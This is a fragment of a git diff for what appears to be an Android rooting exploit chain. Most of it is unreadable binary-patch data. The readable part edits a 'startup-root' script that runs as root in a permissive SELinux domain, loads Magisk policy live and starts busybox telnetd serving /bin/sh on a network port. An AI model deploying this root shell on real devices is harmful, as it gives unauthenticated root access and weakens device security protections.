zHt>ti>5m(rls-le)DfMa_DQHqXW%gvDe*5GEEzihM{fgQ>nc(}R1MUA+L^Fe1-izz z;kdOu@9q2XM1iGTp<2C&E(pfgXIA{T%4Hw`>n+QT5Qf-Tb&3n;#ZP+7CmRZMI8MGRUk&a?<#-P(N3eo-lvYt>L*t#!3`-?@Z#f$A*`r<$at64l< z0Md!(ZPST!t9Rt2)8*v9em3vvuWIs%y{icFnOzqSe+T?c4XF5rFWY?J#YAgo8r@XU zP&#zb3T_2W^W>cUexvOU2uD9t45P2&Y}EWQjbHYoMsuTg%7?wX@1lCdN`k(~d{BHjGQB5ASdZw#Bi z*&DVaVstGC(<((L6alde8$#8BdVY>T!JIQJ`ZRk>P+3)zvUoZ(}LF9x4HA?`f6frgox@*&x4 zDHUa0)OrSvtT@LAB7l%^5@yR$OqibyYEAbM24x$7nyV>5AaP1V58)9U6IlWetv82^V_kAUD4N5`5szREnxl)vz~OVI!e0f0UtXEPmv+ zh@U7hSwwu%9pf-t`<6ZD^Mws%R6D%jy41;&tbg~p+Q z@$!fDeK(&D9rpvBl1Y4WHeWnH$@JBGgmh;}>kL7+pJltyj{g1L;k9om`?wSoP{pvA zpnXFDH~R~eFt2?o>De6o_LtnzfC~%tv$Nc|?0%NoEy`|voDR=3o~|ApQPp!NCih@{ ziu~{O%)lecc~UGVvQYM(cso_S>_z@>G+A<(oKa$FLSKjJdg?bz$%9Xb6NCJ#butT# zPI79F#OOtEz`eOlK%%J}1y7HR_1$o}yt%4aTCg5KZrmT^i zYHv7t`YT* zScsa`69W7#5|d!g29Ki&qc9546H*BR2q#!Tt0z;F5Q%z~Nm)1$N5AMwwJbRuatL~yMxgIZVa-Il(5a4>7iH<{sEmAI=T zlh$OuU(a8TB1}XNpjA^}kt}WgCALpr3pSk4)R%Fg{SMKXagdsg+ysw;d z7M&LpIP>+_v-b zJ@q94ia3TCnqoOicpqR>lO6-(^exCzve->B@=gD~N%Oy2yY^@((=c8u4ZCh_T2bpV zE1g6Lxy6(yT}Gs343g_KCT3isi8W$Tsfcx*+%J_}lEpSeu0t;4G7(~$s7blyex3IH zzNxdFcK7s;`E$;k_ssWx@AJIB=Xrj==c$jEX6!W@fGsq`qP+nT{g1+jhf4I`vtg$- z-`WEe7Ez5XxJOaj!G@;ErCGvik5`c6J;34x&T7&&elcqlb_!sUiM{@5(6b_a5wio1 za{L4-5H1Njj}p`4bO;j4Yrzao0FE|-A#8k0S^(M~N>EI6|o^zZP|V!8+1eg;Esnz~#?Xr>-=mR>UeC0UT*+5fJf};OB-m0-VE}cIIe=!9y#rF zXzT1HNo!|Ntb~l%oO5m}F$9!L2SJ>My<*u{U$Y{dH$k0%jm9U(h~^z-U-5h7o<`LW zCD8b1Z>!cixEh^ouIy%c`oJabdJ#~(AwRip2wQZ4DX?KX8`4&w=hsrxN#h#)88~fQ z*(^^^@2jP{f{eQ>@zt#pl((3$m4-8Oc{atVfmzTHFHkXj{orcQNFZogZpl`2C>il= zbJ^eyUsL8de7`y(W<(D&-d}B4Lo0^lh9jQp&lLQ&K~lhh%O*+&>O-+#Ne#(3w$o5p z3Qmq#*#m->n^{o^olEGC4ak|gT{GCA(48L%F!dY7m!2O4!i~w( zQ|qr~d(_>QyeP9;**>$hwcO!+<(t7r5Rv ztMHkCuP_{p#knGkg`9N!5QMh*EgQgEfEAaJV+`o%dP(BersQRqa3dvNWNp6Qf7wly z^%OL;tQ`oQp7WuT9x`>aADO+gSRD;2mW%?AmRd_?=~|@afF&%mMe0_9qp~=i8W&4e5VgDSFY|DcSxV-_e+~iG(?>_f~xju-I6k zfOa2h&y*$}%j^=ysTh~W^znAc5a4=Le88~&SVUL7SJX2w(4+nN;ji_D?R;?7h zeqm4PJ|kR(z_y+d7XgS|M>Z}p zj-yUl9BRakhZfGJ{&kgOf7kE`==lS*<97@|X%39F?cm?EPZ@qxx5uK~;gj6qvHMnq zkk4*p6;>`Cqxf=5?oj5-S@l&*tsh%kq@tZ?;)6ne0Fe1`sG4?rB$wbvD$))qkEE0I zdO}VhBZ8O8%7}sRMj9!1&EZ58P|`IH`})nQ4~&k@vmI9i>gl8-}fJndBjD zbPWT|ZybN&2#;pJau=O3Zz(S-Lh9wGn$ literal 0 HcmV?d00001 diff --git a/startup-root b/startup-root index 4cb8dea..b5628c9 100644 --- a/startup-root +++ b/startup-root @@ -1,6 +1,6 @@ #!/system/bin/sh # Called from modprobe-payload -# Now in permissive domain (u:r:vendor_modprobe:s0) +# Now in root user + permissive domain (u:r:vendor_modprobe:s0) #id > /data/local/tmp/mylog1 #cat /proc/self/status >> /data/local/tmp/mylog1 @@ -29,7 +29,7 @@ export ANDROID_I18N_ROOT=/apex/com.android.i18n #/data/local/tmp/magisk/magiskpolicy --save /data/local/tmp/policy-dump /data/local/tmp/magisk/magiskpolicy --magisk --live -/data/local/tmp/busybox telnetd -l /bin/sh -p 5860 & +/data/local/tmp/busybox telnetd -l /bin/sh -p 10847 & # Work in progress